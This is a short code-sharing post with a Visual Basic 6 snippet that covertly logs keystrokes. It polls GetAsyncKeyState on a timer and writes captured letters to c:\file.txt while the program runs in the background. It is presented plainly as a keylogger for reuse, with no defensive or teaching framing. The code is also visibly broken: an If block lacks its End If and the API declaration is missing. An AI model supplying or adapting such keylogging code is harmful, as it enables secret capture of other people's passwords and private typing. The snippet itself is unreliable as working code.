by Milind (1 Submission)
Category: Windows API Call/Explanation
Compatability: VB 6.0
Difficulty: Unknown Difficulty
Originally Published: Tue 20th February 2001
Date Added: Mon 8th February 2021
Rating: (1 Votes)
A simple code to catch any keypress and store it in a file named "file.txt" It runs in the background.
'insert this code in form's load event
open "c:\file.txt" for output as #1
'insert this code in timer event
Dim i as integer,key as integer
for i =65 to 91
key = GetAsyncKeyState(i)
if key = -32767 or key = -32768 then
print #1, chr(i)
next
'insert this code in form's unload event
'Yuo cannot see the text in a file until file is open
Close #1
No comments have been posted about A simple code to catch any keypress and store it in a file named file.txt It runs in the backgrou. Why not be the first to post a comment about A simple code to catch any keypress and store it in a file named file.txt It runs in the backgrou.